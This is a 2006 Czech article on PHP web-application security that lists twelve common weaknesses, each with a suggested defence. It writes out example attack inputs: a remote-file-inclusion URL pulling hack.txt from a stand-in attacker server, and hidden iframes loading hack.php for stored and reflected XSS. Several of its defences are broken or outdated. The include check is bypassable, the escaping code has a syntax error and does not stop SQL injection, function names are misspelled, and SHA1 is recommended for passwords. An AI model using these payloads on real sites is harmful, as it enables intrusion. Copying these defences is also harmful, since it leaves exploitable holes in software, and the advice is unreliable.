Bezpečnost PHP scriptů a internetových aplikací

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: Studna
Datum: 20.7.2006
Hodnocení/Hlasovalo: 0/0

Tento článek pojednává o bezpečnosti internetových aplikací.

1.) Include() – Pokud přenášíte inclůdovanou stránku v url nebo složitěji pomocí hidden,
tak jste velmi náchylní na útok, protože pokud někdo do url zadá něco jako:
http://www.váš-server.cz?page=http://www.utocnikuv-server.cz/hack.txt
Tak se obsah hack.txt inclůduje a skript se provede…
Obrana:
If(eregi("://", $page)){
Echo("Nesnaž se lamo…");
} else {
Include($page); }


2.) SQL – Pokud používáte na svých stránkách např. návštěvní knihu nebo chat, který zapisuje do DB,
tak jste velmi náchylní na útok.Pokud útočník použije tento typ útoku,
tak se do vaše RS může přihlásit např. jako první uživatel v tabulce nebo jako admin.Pozor, pokud do DB zapisujete value např. ze SELECTŮ, tak i to je nebezpečné!!!
Obrana:
$vstupoduzivatele = str_replace("\\", "\\\\", $vstupoduzivatele);
$vstupoduzivatele = str_replace("´", "\", $vstupoduzivatele);
A tak dál…
(Nejvíce zabezpečená je proti SQL útokům databáze MySql.)


3.) Vstupy od uživatele – Zase potíž hlavně chatů a návštěvních knih.Vemte si že útočník vloží např. do komentáře tento kód:
<iframe src="www.utocnikuv-server.cz/hack.php" width="0" hight="0"></iframe>
V hack.php bude nějaký nebezpečný php script…
Pozor, pokud do souborů zapisujete value např. ze SELECTŮ, tak i to je nebezpečné!!!
Obrana:
$vstupoduzivatele = htmlspecialcharts($vstupoduzivatele);
(funkce htmlspecialcharts() převede < a > na entity.)


4.) Upload – Jestli máte na svých stránkách upload např. obrázků nebo textů a každý si tam může nahrát co chce,
tak jste velmi snadný cíl, protože útočník si může nahrát na váš server jakýkoliv php script.


5.) Ukládání do souborů – Jakékoliv ukládání skoro čehokoliv do souborů může být nebezpečné.Ještě když sem neuměl s DB,
tak jsem dělal registraci a pro každého registrovaného jsem dělal samostatný soubor kde bylo heslo,
jméno a tak dále.Takže každý mohl přijít a prohlídnout si maily, hesla, www a tak dál(pokud o tom teda věděl.). Obrana:
Nezapisovat nic do souborů. :-)
Nebo
Uložit všechny tyto soubory do jedné složky, tam editovat soubor .htaccess a napsat tam "deny"(Poté nepůjde do této složky přistupovat přes prohlížeč.Zobrazí se chyba 401).


6.) Šifrování – Velice hodně internetových serverů používá na šifrování hesel MD5().Na mém stroji jsem heslo v MD5() rozšifroval za 45minut brute-force metodou a šifra MD5() je již logicky prolomena.
Mnohem bezpečnější je používat šifru SHA1(), která ještě není logicky prolomena.


7.) Cracking - Pokud máte na svých stránkách přihlašování a útočník pokud mu nezbude nic jiného(nebo lama), tak použije takzvaně "cracking".
Neboli hádání hesel, existují na to prográmky, např. wwwhack, brutus a další.
Obrana:
Nikdy nepoužívejte Huml přihlašování, jelikož tyto programy je dokáží rozeznat a pak jste 100x lepší cíl,
než stránka, která má přihlášení přes Šorm.Pokud tedy budete používat přihlašování přes Šorm, tak do scriptu přidejte: slep(2);
Script při každém přihlášení počká dvě vteřiny.Pokud já např. mam 45 pokusů za sekundu, tak teď to bude 1 pokus za dvě sekundy.


8.) XSS - V dnešní době je moderní např. vyhledávání na stránkách.A také je v módě posílání formulářů přes GET.
Při vyhledávání je v url např. toto: www.muj-server.cz/hledat.php?hledat=knihy.Pokud si dáme vyhledat třeba: <iframe src="www.utocnikuv-server.cz/hack.php" width="1024" hight="768"></iframe> a pak tuto url pošleme někomu jinému, samozřejmě v HTML aby nebylo vidět to ? a dál.
Uživatel tuto stránku považuje za důvěryhodnou.
Obrana:
Používat POST a nebo $hledat = htmlspecialcharts($hledat);


9.) Změna hesla - Na hodně webech je registrace, každá lepší registrace by měla umožňovat i změnu hesla.
Pokud by jste se mohly např. podívat jaké heslo máte a klikli by jste na odkaz kde by byl jednoduchý php script(musely by jste být přihlášeni),
tak by se útočník mohl zmocnit vašeho hesla a pokud by se dalo heslo měnit bez zadání toho starého, tak by vám ho mohl útočník dokonce i změnit.
Obrana:
Nikde neukazovat heslo a při změně hesla požadovat to staré.


10.) Hidden - Při pokročilejších registracích nebo např. zapisování v návštěvní knize se často používá hidden.
Uživatel může hidden jakkoliv měnit a tím ohrozit i vaši webovou aplikaci.
Obrana:
Omezit požívání hidden.


11.) Záloha - I třeba záloha je nebezpečná.Pokud máte nastavenou automatickou zálohu, tak se vám vytvoří soubor např. config.php.bak a ten se pak dá otevřít v normálním textovém editoru.
Pozor, zálohu mohou vytvářet i nějaké editory!!!
Obrana:
Zakázat zálohu a provést ji jiným způsobem.


12.) HTTPS:// - Při registracích, přihlašování a při každé jiné práci kde používáte soukromá nebo citlivá data,
jako např. hesla, rodné čísla, internetové obchody apod. používejte zabezpečenou komunikaci pomocí https:// .
Jelikož kdekoliv na síti může číhat útočník a mohl by odchytávat veškerou komunikaci v prostém textu, pokud budete používat https:// budou všechna data která míří ke klientovy zašifrována.



Tento článek má sloužit pouze jako studijní materiál, článek nemá sloužit k nelegálním účelům.
Tento článek nesmí být použit k nelegálním účelům.
Autor nenese žádnou vinu na případných škodách.


Pokud by jste chtěly tento článek uveřejnit na svých stránkách, tak mi napište e-mail nebo na ICQ.A nebo jestli by jste chtěly pomoct prověřit, nebo případně zabezpečit svoje stránky, tak mi taky napište e-mail nebo ICQ.

e-mail: studna(zavináč)studna(tečka)org
WWW: http://www.studna.org
ICQ: 192-074-264

Writed by Studna